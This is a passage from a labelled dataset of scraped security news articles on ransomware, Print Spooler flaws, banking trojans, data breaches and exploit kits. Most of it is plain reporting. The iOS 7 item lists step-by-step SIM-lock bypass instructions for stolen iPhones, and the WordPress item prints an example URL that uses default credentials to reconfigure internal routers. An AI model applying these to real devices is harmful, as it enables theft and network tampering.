At the time of writing, it's unclear if the hackers behind these ransomware attacks are the same, how the malware infiltrated the companies in the first place and did it contain wormable capabilities to successfully spread itself across the network.

Though it's unconfirmed, some people familiar with the incident also suspect attackers might have used the BlueKeep RDP vulnerability to compromise the company's servers, whose first mass exploitation activity was spotted in the wild just yesterday in a separate campaign.

The Hacker News is in contact with some of the targeted company's employees and will update you with more information about the incident shortly.

Meanwhile, the Spanish Department of Homeland Security has also issued a warning about the ongoing cyber attack and recommended users to follow basic security practices like keeping their systems updated and having a proper backup of their important data.

",Cyber_Attack
Microsoft Warns of New Unpatched Windows Print Spooler Vulnerability,https://thehackernews.com/2021/07/microsoft-warns-of-new-unpatched.html,"Microsoft on Thursday shared fresh guidance on yet another vulnerability affecting the Windows Print Spooler service, stating that it's working to address it in an upcoming security update.
Tracked as CVE-2021-34481 (CVSS score: 7.8), the issue concerns a local privilege escalation flaw that could be abused to perform unauthorized actions on the system. The company credited security researcher Jacob Baines for discovering and reporting the bug.
""An elevation of privilege vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations. An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges,"" the Windows maker said in its advisory. ""An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.""
However, it's worth pointing out that successful exploitation of the vulnerability requires the attacker to have the ability to execute code on a victim system. In other words, this vulnerability can only be exploited locally to gain elevated privileges on a device.
As workarounds, Microsoft is recommending users to stop and disable the Print Spooler service to prevent malicious actors from exploiting the vulnerability.
The development comes days after the Redmond-based firm rolled out patches to address a critical shortcoming in the same component that it disclosed as being actively exploited to stage in-the-wild attacks, making it the third printer-related flaw to come to light in recent weeks.
Dubbed PrintNightmare (CVE-2021-34527), the vulnerability stems from a missing permission check in the Print Spooler that enables the installation of malicious print drivers to achieve remote code execution or local privilege escalation on vulnerable systems.
However, it later emerged that the out-of-band security update could be entirely bypassed under specific conditions to gain both local privilege escalation and remote code execution. Microsoft has since said the fixes are ""working as designed and is effective against the known printer spooling exploits and other public reports collectively being referred to as PrintNightmare.""

",Vulnerability
KRBanker Malware Targeting Korean Financial Institutions,https://thehackernews.com/2013/06/krbanker-malware-targeting-korean.html,"A recently discovered piece of malware called KRBanker (Korea + Banker = KRBanker) , targeting mostly online end-users at Korean financial institutions.

According to nProtect, now an invasive banking Trojan, the new and improved KRBanker can block anti-virus software, security websites and even other malware in its quest to steal user information and share it with hackers.
Then the malware pings back to the command and control (C&C) server with infection status and then the malware proceeds to download encrypted files on the victim's PC.

In the latest variant of the KRBanker malware, scans the PC for lists of DLLs that are related to Korean financial institutions, security software and patches any opcode instructions.

Malware instructed to insert the malicious code that will search and collect any information related to password, account details, and transaction history. Once logged, the compiled information is then sent to a remote server.

KRBanker will also collect digital certificates in the PC's NPKI directory. These unique digital certificates used both by individuals and corporate are normally used for all financial purposes such as banking, credit card, insurance, and more.

The hacker will collect digital certificates, password, account details, and screenshot information to gain fraudulent access to the victim's account.

After discovering KRBanker, which is distributed worldwide but concentrated mainly in Korea, nProtect Online Security quickly update their antivirus solution to defend against this malware.

",Malware
Another Facebook Quiz App Left 120 Million Users' Data Exposed,https://thehackernews.com/2018/06/facebook-users-data-leak.html,"People are still getting over the most controversial data scandal of the year, i.e., Cambridge Analytica scandal, and Facebook is under fire yet again after it emerges that a popular quiz app on the social media platform exposed the private data of up to 120 million users for years.

Facebook was in controversies earlier this year over a quiz app that sold data of 87 million users to a political consultancy firm, who reportedly helped Donald Trump win the US presidency in 2016.

Now, a different third-party quiz app, called NameTests, found exposing data of up to 120 million Facebook users to anyone who happened to find it, an ethical hacker revealed.

NameTests[.]com, the website behind popular social quizzes, like ""Which Disney Princess Are You?"" that has around 120 million monthly users, uses Facebook's app platform to offer a fast way to sign up.

Just like any other Facebook app, signing up on the NameTests website using their app allows the company to fetch necessary information about your profile from the Facebook, with consent naturally.

However, Inti De Ceukelaire, a bug bounty hunter and hacker, found that the popular quiz website is leaking logged-in user's detail to the other websites opened in the same browser, allowing any malicious website to obtain that data easily.

In a Medium post published yesterday, Ceukelaire said he liked to participate in the Data Abuse Bounty Program that Facebook recently launched in the wake of Cambridge Analytica scandal. So, he started looking at the apps his friends on Facebook had installed.
Ceukelaire then decided to take his first quiz through the NameTests app, and as he started taking a closer look on the test process, he noticed that the website was fetching his personal information from ""https://nametests[.]com/appconfig_user"" and display it on its website.

Ceukelaire was shocked when he saw his personal data in a JavaScript file that could easily be accessed by virtually any website when they would request it.

What Was the Flaw? How It Leaked Users' Data?
This issue was due to a simple yet severe flaw in NameTests website that appears to have existed since the end of 2016.

Storing user data in JavaScript file caused the website to leak data to other websites, which is otherwise not possible due to browser's Cross-Origin Resource Sharing (CORS) policy that prevents a website from reading the content of other websites without their explicit permission.

As a proof of concept, Ceukelaire developed a malicious website that would connect to NameTests to mine the data of visitors using the app. Using a simple bit of code, he was able to harvest the names, photos, posts, pictures, and friends lists of anyone taking part in the quiz.

The vigilant hacker also made a video as a proof of his findings, demonstrating how the NameTests website revealed your personal data even after deleting the app.

Ceukelaire reported the flaw via Facebook's Data Abuse Bounty Program on April 22, and over a month later the social media informed him that it could take three to six months to investigate the issue.

Over two months after initially reporting the issue to Facebook, Ceukelaire noticed that NameTests has fixed the issue, and told him it had found no evidence of abuse of the exposed data by any third party.

On 27th June, Facebook contacted Ceukelaire and informed him that NameTests had fixed the issue, and at his request, donated $8,000 to the Freedom of the Press Foundation as part of its Data Abuse Bounty Program.

German company Social Sweethearts, who is behind NameTests, claims to have more than 250 million registered users and have reached more than 3 billion page views per month.

The latest incident shows that, even after the social media giant changed its conditions for apps to access data on its platform back in 2015, Facebook failed to adequately police such apps that have access to substantial amounts of personal data on its platform.
",Data_Breaches
WhatsApp vulnerability can be misused for Spreading Malware,https://thehackernews.com/2012/09/whatsapp-vulnerability-can-be-misused.html,"A Cross site scripting (XSS) vulnerability in WhatsApp website reported to The Hacker News by Edgard Chammas. WhatsApp is one of the most famous cross-platform mobile messaging app for iPhone, BlackBerry, Android, Windows Phone and Nokia used to send text, video, images, audio b/w Whatsapp users.

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications, such as web browsers through breaches of browser security, that enables attackers to inject client-side script into Web pages viewed by other users.
Reported vulnerability exist on payment procedure page as shown in above picture. The Sample code given below to demonstrate the vulnerability.
Recently, there has been an increase in web malware and spam activities and such vulnerabilities can be misused by attackers to spread Malwares and rogue applications.

Edgard also demonstrate that How this can be used to trick users to download a fake application (Malware - WhatsApp.apk) from other any evil domain (www.evilwebsite/WhatsApp.apk). in below given example, attacker just using a pop-up window to open fake application download link.


While the official binary is here https://www.whatsapp.com/android/current/WhatsApp.apk

According to reports in 2012 mobile malwares are 50 times increases than previous ever. We request Whatsapp team to fix the vulnerability as soon as possible.

",Vulnerability
New XSS Vulnerability found on Sony PlayStation by c7-elixir - The C7 Crew,https://thehackernews.com/2011/06/new-xss-vulnerability-found-on-sony.html,"New XSS Vulnerability found on Sony PlayStation by c7-elixir - The C7 Crew


YES ! Sony is still Vulnerable to various bugs like XSS. Today a hacker c7-elixir from The C7 Crew has expose new XSS attack on Sony PlayStation's Website as shown. Sony got hacked 20 times in last two months by number of hackers from all over world. One more REQUEST to Sony : FIX IT BOSS !

Vulnerable Link

",Vulnerability
iPhone iOS 7.0.2 Sim Lock Screen Bypass vulnerability,https://thehackernews.com/2013/10/iphone-ios-702-sim-lock-screen-bypass_8.html,"If you're unlucky enough to lose your Smartphone or have it stolen, anyone who finds the device will also be able to access any content stored on the device, whether its contacts, music or documents.

But by implementing a SIM card PIN lock, everytime the device is powered down and subsequently switch back on again, the PIN will need to enter before the phone can be used.
 
Security Researcher - Benjamin Kunz Mejri from Vulnerability Laboratory claimed that he found a new vulnerability in the iOS v7.0.1 & v7.0.2, that allows a hacker to bypass the Sim lock Mode.

In a Proof of Concept video, he demonstrates that how an attacker can bypass the restricted section of the iPhone, when Sim Lock is enabled on a Stolen iPhone Device.

Flaw can be exploited without user interaction and successful exploitation results in the bypass of the SIM lock mode to the regular lock mode.
Follow Steps to bypass SIM Lock on stolen Devices:
Turn on your iPhone and ensure you have the iOS v7.0.1 or 7.0.2 installed and Sim Lock mode is activated.
You will see a black notification in the middle of the display - SIM Locked.
Open the Calendar, and scroll down to the two hyperlinks.
Press the Power button and wait 2 seconds and then press one of the two hyperlinks.
You will be redirected via hyperlink, because of the restriction to the passcode SIM lock.
Press Power button again for 3 seconds and then press the Home button
Click cancel again in the shutdown menu but hold the Home button.
Open up the Control center and go to the calculator. Now a message box appears automatically with the SIM lock
Press the shutdown button for 3 seconds + Unlock Key + Home button.
The Passcode screen will pop up, but you will be again redirected to Calculator.
Now again press the Power button for 3 seconds the and then press Cancel, at last press the Home button one time.
The Restricted Sim Lock Screen will disappear.
This flaw does not cover Regular Passcode bypass. For that attacker need to use other ways. Shortly after the iOS 7 release date earlier this month, users discovered a lock screen flaw that allowed users to use a simple exploit in order to view private details on the iPhone, iPad or iPod touch.

Apple worked quickly to fix the issue and rolled out iOS 7.0.2, an update aimed at adding Greek keyboard support and tackling the lock screen security flaw. But Just after that another Screen Lock Bypass bug appeared on the Internet. The growing number of iOS 7.0.2 problems are now frustrating iPhone and iPad users.

",Vulnerability
"Hacking Millions with Just an Image — Recipe: Pixels, Ads & Exploit Kit",https://thehackernews.com/2016/12/image-exploit-hacking.html,"If you have visited any popular mainstream website over the past two months, your computer may have been infected — Thanks to a new exploit kit discovered by security researchers.

Researchers from antivirus provider ESET released a report on Tuesday stating that they have discovered an exploit kit, dubbed Stegano, hiding malicious code in the pixels of banner advertisements that are currently in rotation on several high profile news websites.

Stegano originally dates back to 2014, but since early October this year, cyber crooks had managed to get the malicious ads displayed on a variety of unnamed reputable news websites, each with Millions of daily visitors.

Stegano derived from the word Steganography, which is a technique of hiding messages and content inside a digital graphic image, making the content impossible to spot with the naked eye.

In this particular malvertising campaign, operators hide malicious code inside transparent PNG image's Alpha Channel, which defines the transparency of each pixel, by altering the transparency value of several pixels.

The malvertising campaign operators then packed the altered image as an advertisement and managed to display those malicious ads on several high-profile websites.

According to the researchers, the malicious ads promote applications called ""Browser Defense"" and ""Broxu,"" and the methodology makes it tough for ad networks to detect.

Here's How the Stegano Attack Works:

Once a user visits a site hosting malicious advertisement, the malicious script embedded in the ad reports information about the victim's computer to the attacker's remote server without any user interaction.

The malicious code then uses the CVE-2016-0162 vulnerability in Microsoft's Internet Explorer (IE) browser in order to scan the target computer to see if it is running on a malware analyst's machine.

After verifying the targeted browser, the malicious script redirects the browser to a website that hosts Flash Player exploits for three now-patched Adobe Flash vulnerabilities: CVE-2015-8651, CVE-2016-1019, and CVE-2016-4117.
""Upon successful exploitation, the executed shell code collects information on installed security products and performs – as paranoid as the cybercriminals behind this attack – yet another check to verify that it is not being monitored,"" ESET researchers wrote in a blog post. ""If results are favorable, it will attempt to download the encrypted payload from the same server again, disguised as a gif image.""
When downloaded to the victim's computer, the encrypted payload is then decrypted and launched via regsvr32.exe or rundll32.exe in Microsoft Windows.

Just Visit a Site, and You'll be Hacked in Just 2-3 Sec

Below is an ESET infographic that explains the working of Stegano's exploit attack:

All the above operations execute automatically without any user interactions and takes place in the span of just 2-3 seconds.

So far, the Stegano exploit kit has pushed various trojan downloaders, the Ursnif and Ramnit banking trojans, backdoors, spyware, and file stealers.

The Stegano exploit kit was initially used in 2014 to target people in the Netherlands, and then in 2015, moved on to residents in the Czech Republic. The latest attack campaign is targeting people in Canada, the UK, Australia, Spain, and Italy.

The best way to protect yourself against any malvertising campaign is always to make sure you are running updated software and apps. Also use reputed antivirus software that can detect such threats before they infect your system.

",Malware
Hook Analyser Malware Tool Released,https://thehackernews.com/2011/09/hook-analyser-malware-tool-released.html,"Hook Analyser Malware Tool Released
Hook analyser is a hook tool which can be potentially helpful in reversing applications and analysing malware. It can hook to an API in a process and search for a pattern in memory or dump the buffer. The tool can hook to an API in a process and can do following tasks.

1. Hook to API in a process
2. Hook to API and search for pattern in memory of a process
3. Hook to API and dump buffer (memory).

Download Here

",Malware
WordPress Pingback Vulnerability Serves DDoS attack feature,https://thehackernews.com/2012/12/wordpress-pingback-vulnerability-serves.html,"Accunetix a web application security company reported vulnerabilities found in the Wordpress Pingback feature. According to report, Pingback vulnerability exists in the WordPress blogging platform that could leak information and lead to distributed denial of service (DDoS) attacks.

""WordPress has an XMLRPC API that can be accessed through the xmlrpc.php file. When WordPress is processing pingbacks, it's trying to resolve the source URL, and if successful, will make a request to that URL and inspect the response for a link to a certain WordPress blog post. If it finds such a link, it will post a comment on this blog post announcing that somebody mentioned this blog post in their blog."" Bogdan Calin explained.

Pingback is one of three types of linkbacks, methods for Web authors to request notification when somebody links to one of their documents. This enables authors to keep track of who is linking to, or referring to their articles. Some weblog software, such as Movable Type, Serendipity, WordPress, and Telligent Community, support automatic pingbacks where all the links in a published article can be pinged when the article is published.
A new tool has been released that automates the pingback vulnerability autonomously, distributed on the software development site Github as ""WordpressPingbackPortScanner"" . That tool exposes the API and lets attackers scan other hosts, multiple WordPress blogs and with a specialized URL, reconfigure routers.

Tool description - ""Wordpress exposes a so called Pingback API to link to other blogposts. Using this feature you can scan other hosts on the intra- or internet via this server. You can also use this feature for some kind of distributed port scanning: You can scan a single host using multiple Wordpress Blogs exposing this API.""

The bug is already reported on Wordpress community, but Softpedia notice that the ticket was closed at the time after someone argued that ""there are so many ways to orchestrate a DDOS attack.""

All the wordpress blogs are at risk,can be heavily abused by attackers. Since the Wordpress also supports URL credentials , the attacker can use a link like https://admin:admin@192.168.0.1/changeDNS.asp?newDNS=aaaa to reconfigure internal routers.

He also says that disabling the Pingback feature won't fix the solution ,the ultimate solution is a patch.

",Vulnerability
Experian Breach: 15 Million T-Mobile Customers' Data Hacked,https://thehackernews.com/2015/10/experian-tmobile-hack.html,"If you applied for financing from T-Mobile anytime between 1 September 2013 and 16 September 2015, you have been HACKED! – even if you never had T-Mobile service.

T-Mobile's credit application processor Experian was hacked, potentially exposing the highly personal information of more than 15 million people in the United States.

The stolen information includes names, addresses, phone numbers and – most unfortunately – Social Security numbers.

The massive data breach was first discovered in mid-September and has now been confirmed by T-Mobile CEO John Legere.

According to Legere, Hackers successfully obtained Millions of people's private information through Experian, one of the world's largest credit check companies that process T-Mobile's credit applications.

Both customers and people who submitted to a T-Mobile credit check (but either canceled or never activated their T-Mobile service) between September 1, 2013, and September 16, 2015, are most at risk.

Now, Hackers have their hands on two years worth of sensitive identifying information that T-Mobile uses to check credit ratings, which could possibly make the rounds on the black market.

The Stolen victims' data includes:

Residential addresses
Social Security numbers
Birth Dates
Driver's License number
Passport number
Military I.D. numbers
and more
Some of the pilfered data was encrypted, according to Experian, which is taking responsibility for the breach. However, T-Mobile claims that the ""encryption may have been compromised.""

The telecommunication giant said that no credit or debit card numbers of its customers were stolen in the breach. However, one could imagine that with this trove of stolen data, anyone can easily steal someone's identity without trying too terribly hard.

Why Losing a Social Security Number is more dangerous than Losing a Payment Card?

It sounds good to ears hearing that hackers did not access credit or debit card numbers during the data breach, but losing your Social Security number is actually worse than losing your payment cards.

If hackers make use of your credit or debit card, you have a good option to stop them – Report fraudulent purchases when you see your bill.

You hardly lose anything, as you'll get your money back as well as your financial institution will send you a new payment card.

But once your Social Security number stolen, Hackers can screw you up because, you can almost never change your Social Security number.

Identity thieves can apply for credit cards and run up debt in your name. They can ruin your credit score, even before you come to know that your information is stolen and is misused.

The more worrisome part is that there's not a whole lot victims can do to prevent further damage beyond one thing: Freeze your credit report.

This incident marks the latest high-profile data breach and adds itself to the list that includes OPM losing 4 million federal workers' personal data, health insurer Excellus losing 10 million health records exposed and last year's Target and Home Depot data breach.

T-Mobile is very Angry

Legere said he is reviewing T-Mobile's relationship with the company as a result of the massive breach.
""Obviously I am incredibly angry about this data breach, and we will institute a thorough review of our relationship with Experian, but right now my top concern and first focus is assisting any and all consumers affected.""
T-Mobile and Experian are offering two years of free credit monitoring to their affected customers. Now, let's wait and watch how worse this hack goes.

",Data_Breaches
Popular Malware Families Using 'Process Doppelgänging' to Evade Detection,https://thehackernews.com/2019/07/process-doppelganging-malware.html,"The fileless code injection technique called Process Doppelgänging is actively being used by not just one or two but a large number of malware families in the wild, a new report shared with The Hacker News revealed.

Discovered in late 2017, Process Doppelgänging is a fileless variation of Process Injection technique that takes advantage of a built-in Windows function to evade detection and works on all modern versions of Microsoft Windows operating system.

Process Doppelgänging attack works by utilizing a Windows feature called Transactional NTFS (TxF) to launch a malicious process by replacing the memory of a legitimate process, tricking process monitoring tools and antivirus into believing that the legitimate process is running.

Few months after the disclosure of this technique, a variant of the SynAck ransomware became the first-ever malware exploiting the Process Doppelgänging technique, targeting users in the United States, Kuwait, Germany, and Iran.

Shortly after that, researchers discovered a dropper (loader) for the Osiris banking trojan that was also using this technique in combination with a previously discovered similar malware evasion technique called Process Hollowing.

Now, turns out that it was not just SynAck or Osiris, but more than 20 different malware families—including FormBook, LokiBot, SmokeLoader, AZORult, NetWire, njRat, Pony stealer, and GandCrab ransomware—have been using malware loaders that leverage this hybrid implementation of Process Doppelgänging attack to evade detection.
After analysing hundreds of malware samples, security researchers at enSilo discovered at least seven distinct versions of such loader, which they dubbed ""TxHollower,"" used by various malware authors.

""Attackers are known to reuse resources and tools in their attack chains, most notable are droppers, packers, and loaders. It highlights that shared components and code make tracking and attributing various groups even more complicated,"" researchers said.

Researchers believe TxHollower loaders are available to cybercriminals through some offensive framework or exploit kit, eventually increasing the use of process doppelgänging-like techniques in-the-wild.

The earliest sample of the loader with TxHollower feature was used in March 2018 to distribute Netwire RAT, and then later also found bundled with multiple GandCrab versions, starting with v5 and going all the way to v5.2.

Besides this, researchers at enSilo also found a few samples wrapped in an additional layer such as MSI files and in some cases, loaders were nested with each other.

""While we didn't observe the actual infections, we were able to find a few samples we suspect to be related to the infection chain like downloaders and droppers of TxHollower. The type of files include PE executables, JavaScript and documents,"" the researchers said.

To learn more about how the Process Doppelgänging attack technique works, you can read the previous article we published in 2017, and if you want to know more about various versions of TxHollower loader, you can head straight on to enSilo blog post published today.

",Malware
Top 12 Security Flaws Russian Spy Hackers Are Exploiting in the Wild,https://thehackernews.com/2021/05/top-11-security-flaws-russian-spy.html,"Cyber operatives affiliated with the Russian Foreign Intelligence Service (SVR) have switched up their tactics in response to previous public disclosures of their attack methods, according to a new advisory jointly published by intelligence agencies from the U.K. and U.S. Friday.
""SVR cyber operators appear to have reacted [...] by changing their TTPs in an attempt to avoid further detection and remediation efforts by network defenders,"" the National Cyber Security Centre (NCSC) said.
These include the deployment of an open-source tool called Sliver to maintain their access to compromised victims as well as leveraging the ProxyLogon flaws in Microsoft Exchange servers to conduct post-exploitation activities.
The development follows the public attribution of SVR-linked actors to the SolarWinds supply-chain attack last month. The adversary is also tracked under different monikers, such as Advanced Persistent Threat 29 (APT29), the Dukes, CozyBear, and Yttrium.
The attribution was also accompanied by a technical report detailing five vulnerabilities that the SVR's APT29 group was using as initial access points to infiltrate U.S. and foreign entities.
CVE-2018-13379 - Fortinet FortiGate VPN
CVE-2019-9670 - Synacor Zimbra Collaboration Suite
CVE-2019-11510 - Pulse Secure Pulse Connect Secure VPN
CVE-2019-19781 - Citrix Application Delivery Controller and Gateway
CVE-2020-4006 - VMware Workspace ONE Access
""The SVR targets organisations that align with Russian foreign intelligence interests, including governmental, think-tank, policy and energy targets, as well as more time bound targeting, for example COVID-19 vaccine targeting in 2020,"" the NCSC said.
This was followed by a separate guidance on April 26 that shed more light on the techniques used by the group to orchestrate intrusions, counting password spraying, exploiting zero-day flaws against virtual private network appliances (e.g., CVE-2019-19781) to obtain network access, and deploying a Golang malware called WELLMESS to plunder intellectual property from multiple organizations involved in COVID-19 vaccine development.
Now according to the NCSC, seven more vulnerabilities have been added into the mix, while noting that APT29 is likely to ""rapidly"" weaponize recently released public vulnerabilities that could enable initial access to their targets.
CVE-2019-1653 - Cisco Small Business RV320 and RV325 Routers
CVE-2019-2725 - Oracle WebLogic Server
CVE-2019-7609 - Kibana
CVE-2020-5902 - F5 Big-IP
CVE-2020-14882 - Oracle WebLogic Server
CVE-2021-21972 - VMware vSphere
CVE-2021-26855 - Microsoft Exchange Server
""Network defenders should ensure that security patches are applied promptly following CVE announcements for products they manage,"" the agency said.

",Vulnerability
'DeathRing' Chinese Malware Found Pre-Installed On Several Smartphones,https://thehackernews.com/2014/12/Mobile-Malware-Security.html,"Malware authors are trying hard to create malicious software with more innovative ways to infect victims. A new mobile Trojan horse infection has been discovered by security researchers that comes pre-loaded onto low-cost Chinese-made Android smartphones popular in Asia and Africa.

The trojan, dubbed DeathRing, is a Chinese Trojan that masquerades as a ringtone app and comes pre-installed onto some cheap Android smartphones most popular in Asian and African countries including Vietnam, Indonesia, India, Nigeria, Taiwan, and China.

DeathRing malware app cannot be uninstalled or removed by the end user or by antimalware software because it comes pre-installed in the system directory of the handsets at an unknown point within the supply chain, making the threat even more severe.

WHAT DOES DEATHRING DO?
Though the malware pretends to be a genuine ringtone app, but actually downloads SMS and WAP content from its command-and-control server to the victim's handset, which gives it potential to phish user's sensitive data through fake text messages.
""DeathRing might use SMS content to phish victim's personal information by fake text messages requesting the desired data,"" the security firm LookOut wrote in a blog post. ""It may also use WAP, or browser, content to prompt victims to download further APKs - concerning given that the malware authors could be tricking people into downloading further malware that extends the adversary's reach into the victim's device and data.""
AFFECTED SMARTPHONE HANDSETS
DeathRing malware pre-loaded on a number of entry-level phones sold by third-tier manufacturers to developing countries and according to the security firm, the handsets affected are:
Counterfeit Samsung GS4/Note II
A variety of TECNO devices
Gionee Gpad G1
Gionee GN708W
Gionee GN800
Polytron Rocket S2350
Hi-Tech Amaze Tab
Karbonn TA-FONE A34/A37
Jiayu G4S – Galaxy S4 clones,
Haier H7
a i9502+ Samsung clone by an unspecified manufacturer
However, DeathRing is not the first pre-installed mobile malware spotted by the firm. Earlier this year, LookOut discovered another pre-loaded piece of malware called Mouabad on devices sold by retailers in China, India, and the Philippines. Similar to DeathRing, Mouabad is also somewhere pre-loaded in the supply chain and affected predominantly Asian countries.

",Malware
Microsoft Releases 9 Security Updates to Patch 34 Vulnerabilities,https://thehackernews.com/2016/08/windows-patch-updates.html,"In Brief
Microsoft's August Patch Tuesday offers nine security bulletins with five rated critical, resolving 34 security vulnerabilities in Internet Explorer (IE), Edge, and Office, as well as some serious high-profile security issues with Windows.

A security bulletin, MS16-102, patches a single vulnerability (CVE-2016-3319) that could allow an attacker to control your computer just by getting you to view specially-crafted PDF content in your web browser.

Users of Microsoft Edge on Windows 10 systems are at a significant risk for remote code execution (RCE) attacks through a malicious PDF file.

Web Page with PDF Can Hack Your Windows Computer

Since Edge automatically renders PDF content when the browser is set as a default browser, this vulnerability only affects Windows 10 users with Microsoft Edge set as the default browser, as the exploit would execute by simply by viewing a PDF online.

Web browsers for all other affected operating systems do not automatically render PDF content, so an attacker would have to convince users into opening a specially crafted PDF file, typically via an email or instant message, Microsoft said in its advisory.

Once exploited, the flaw corrupts memory, allowing a hacker to run malicious code with the same privileges as the user. All the hacker needs is to either lure victims to a website containing a malicious PDF or add an infected PDF file to a website that accepts user-provided content.

While this vulnerability has not been publicly disclosed nor seen in any attacked, it is expected to be an attractive attack vector for hackers.

Other Critical Bugs can Take Complete Control of Your PC

A separate critical update for Edge listed in MS16-096 patches five remote code execution (RCE) flaws and three information disclosure bugs.

The company also released its monthly cumulative security update, MS16-095, for Internet Explorer (IE), patching nine vulnerabilities that can be exploited by a malicious web page to pull off remote code execution through memory corruption bug or disclose information about the system.

Another critical update includes Microsoft Office Patch MS16-099 that addresses four memory corruption bugs in Office that can be exploited by booby-trapped documents remotely to execute malicious code on a victim's system, taking full control of the victim machines.

The update also includes a patch for an information disclosure hole in Microsoft OneNote, which discloses memory contents and information that could be used to compromise a machine.

In addition to Windows versions of Office going back to Office 2007, Microsoft is also releasing a patch for Office for Mac 2011 and 2016.

The final critical bulletin, MS16-097, patches three Remote Code Execution flaws in the font handling library of Microsoft Graphics Component found in Windows, Office, Skype for Business and Lync that can be exploited by a malicious web page or an Office document.

For the second time, the technology giant also released a security update for Secure Boot. Rated important, MS16-100, the update patches a security feature bypass vulnerability that occurs when Secure Boot loads a vulnerable (install a hidden bootkit or rootkit) boot manager.

This designing flaw has been fixed in all supported versions of Windows and Windows Server.

Other important bulletins address vulnerabilities that lead to man-in-the-middle attacks on Windows and Windows Server, an information disclosure vulnerability in the Universal Outlook component for Windows 10, and four elevation of privilege flaws in kernel-mode drivers for Windows Vista through Windows 10 and Windows Server 2008 and 2012.

The company has also issued Cumulative Updates (KB3176493, KB3176495, KB3176492) for Windows 10 users, so those who have upgraded their systems to the Microsoft's new operating system should install the updates as soon as possible.

Users are advised to patch their system and software as soon as possible.

",Vulnerability
Lessons We Learned From Ashley Madison Data Breach,https://thehackernews.com/2015/07/ashley-madison-hack.html,"Do you use your Real Identity online and think about being private? If yes, then you are insane.

Ashley Madison, the popular online dating website with tagline ""Life is short. Have an affair"", recently got hacked, reportedly exposing a sample of its users' account information and other personal data online.

The hacker group, called itself 'The Impact Team', is also threatening to release the real names and all associated data of its 37 Million cheating customers.

There are also rumors that the team could sell the stolen data for lots of money, instead of revealing it all for free.

This isn't first time when the customers of online hooking site are scared of being exposed, two months ago the sex life of almost 4 Million users of Adult Friend Finder was made available on underground market for sale for 70 Bitcoins ($16,800).

Lesson we Learned from These Hacks
The Ashley Madison hack raises serious questions about what these companies are doing to ensure the security of their users' and employees' personal information.

Just go in flashback, OPM (Office of Personnel Management), Sony Pictures Entertainment, Target, Anthem, Home Depot, Neiman Marcus, and many in the list – they all were compromised and lost the very protected users' sensitive data.

This indicates nothing is completely secure online.

No website can guarantee privacy of your name, credit card number, photo or any other information. One of the company's computer gets hacked, and every secret is out.

That is the reality! And you should accept it.

One thing these hacks teaches us – Never share your real name and sensitive details online, because your digital footprints are bigger than you think.

Many websites don't use encryption, indirectly inviting hackers to get into their systems and expose its users data.

Some websites use encryption that are either outdated or easily crackable.

If in case any website uses strong encryption to protect their customers data, buggy software such as Adobe Flash and Internet Explorer fills the gap, leaving the doors widely open to hackers.

Something similar was happened in the case of Ashley Madison Hack.

A privacy flaw on Ashley Madison's Password Reset form allows anyone who knows your email address to easily check whether you had registered an account on the site. Use of the site could also come back to hurt consumers in say, divorce or custody proceedings.

""If you want a presence on sites that you don't want anyone else knowing about, use an email alias not traceable back to yourself or an entirely different account altogether."" Security reseacher Troy Hunt suggested.

So, avoid giving your real identity online, because The Internet is not secure and Security is just an Illusion.

",Data_Breaches
NIST National Vulnerability Database hacked,https://thehackernews.com/2013/03/nist-national-vulnerability-database.html,"The U.S. government repository of standards based vulnerability management website National Vulnerability Database (NVD) was hacked by some unknown attacker last week.

The website of NVD (https://nvd.nist.gov/index.html) is down since Friday due to a malware infection on two web servers, discovered on Wednesday.


The main page of website reads,""The NIST National Vulnerability Database (NVD) has experienced an issue with its Web Services and is currently not available. We are working to restore service as quickly as possible. We will provide updates as soon as new information is available.""

According to a post available on Google+ by Kim Halavakoski, who contacted NIST Public Inquiries Office to know about the issue,""On Friday March 8, a NIST firewall detected suspicious activity and took steps to block unusual traffic from reaching the Internet. NIST began investigating the cause of the unusual activity and the servers were taken offline. Malware was discovered on two NIST Web servers and was then traced to a software vulnerability.""

Currently there is no evidence that NVD or any other NIST public pages contained or were used to deliver malware to users of these NIST Web sites, he added.

Team is working as quickly to online the website again as soon as possible.

",Malware
"New Internet Explorer zero-day, Can trigger malware automatically",https://thehackernews.com/2012/10/new-internet-explorer-zero-day-can.html,"The new zero day exploit has been discovered and being exploited in the wild. This can be used to load malicious application on victim machines running fully patched Windows XP SP3 along with the latest editions of the IE 7 and IE 8 browser and Adobe's Flash software.

Eric Romang was examining one of the servers used to launch attacks on vulnerable Java installations in past, and he says that he has found a new zero day exploit for Microsoft's Internet Explorer web browser. He said, ""I can confirm, the zero-day season is really not over yet.""

AlienVault Labs researcher Jaime Blasco reported that, ""the gang behind the Java attacks in August and September may be moving on: with domains used in that attack located at new IP addresses and serving up the new and more potent attacks.""

As shown in above image example, the file exploit.html creates the initial vector to exploit the vulnerability and loads the flash file Moh2010.swf, which is a flash file encrypted using DoSWF. The Flash file is in charge of doing the heap spray. Then it loads Protect.html.

There results also shows that this zero day attack is being used in attacks that install the Poison Ivy Trojan. Metasploit has released a working exploit for this Zero-day.

Subscribe to our Daily Newsletter via email - Be First to know about Security and Hackers. or Join our Huge Hackers Community on Facebook, Google+ and Twitter.

",Vulnerability
"Xiaomi Data Breach — ""Exposing Xiaomi"" Talk Pulled from Hacking Conference",https://thehackernews.com/2014/10/xiaomi-data-breach-hacker.html,"China's number one — and the world's 3rd largest — smartphone manufacturer, Xiaomi, which is trying to make inroads into India's booming mobile phone market, was found secretly sending users' personal data, including IMEI numbers, phone numbers and text messages to the web servers back to Beijing in China.

INDIA AND TAIWAN vs XIAOMI
This issue raised higher concerns across many countries, proactively in India, Singapore and Taiwan.

The Indian Air Force (IAF) — among the largest in the world — warned its employees and their belongings that their private information was being shipped over to servers in China, and asked them to avoid using Xiaomi smartphones due to security risk.

Taiwanese Government underlined similar concerns before Xiaomi's launch in India. Xiaomi is facing an investigation in Taiwan for alleged cyber security threat, as a result of which last month the Taiwanese government decided to ban the company due to several privacy controversies.

When it comes to sales, Xiaomi's Mi3 and RedMi 1S have lately been redefining the term 'Flash Sales' with a recorded sales of 90,000 units in just 12 seconds. So, you can imagine the total Xiaomi statistics of Xiaomi.

TAIWANESE RESEARCHER TO EXPOSE XIAOMI AT HACKER CONFERENCE
Meanwhile, an independent Taiwanese Security Expert came up with another bad news for Chinese Xiaomi Mobile company, as he claimed to have found zero-day vulnerability in Xiaomi website that allowed him to obtain credentials of millions of Xiaomi accounts and logs from the servers.

